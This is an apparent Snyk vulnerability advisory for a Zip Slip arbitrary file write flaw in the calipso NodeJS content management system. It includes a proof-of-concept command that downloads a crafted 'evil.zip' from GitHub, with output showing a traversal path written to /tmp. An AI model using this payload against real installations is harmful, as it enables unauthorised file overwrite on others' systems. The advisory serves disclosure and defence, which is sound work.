Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsThere is no fixed version for calipso
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calipso is a Calipso is a simple NodeJS content management system based on Express, Connect & Mongoose.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible for a malicious module to overwrite files on an arbitrary file system through the module install functionality.
✗ calipso modules download https://github.com/snoopysecurity/Public/raw/master/payloads/evil.zip Launching calipso from: /home/snoopy/MySite Calipso directory: /home/snoopy/.nvm/versions/node/v8.17.0/lib/node_modules/calipso/lib/../
Resolving file location, and downloading ... (node:14850) [DEP0029] DeprecationWarning: util.error is deprecated. Use console.error instead. Redirecting to https://raw.githubusercontent.com/snoopysecurity/Public/master/payloads/evil.zip ...
Resolving file location, and downloading ... [0%...25%....50%....75%....100%]
Downloaded ../../../../../../../../tmp/foo.txt 0 Downloaded evil/.gitignore 89 Downloaded evil/elastic.js 8757 Downloaded evil/templates/results.html 1220 Downloaded evil/package.json 409 Downloaded evil/test.txt 4 Downloaded evil/README 0 /home/snoopy/MySite/modules/downloaded/elastic/ Installing elastic via npm, output will show below (may be a small delay):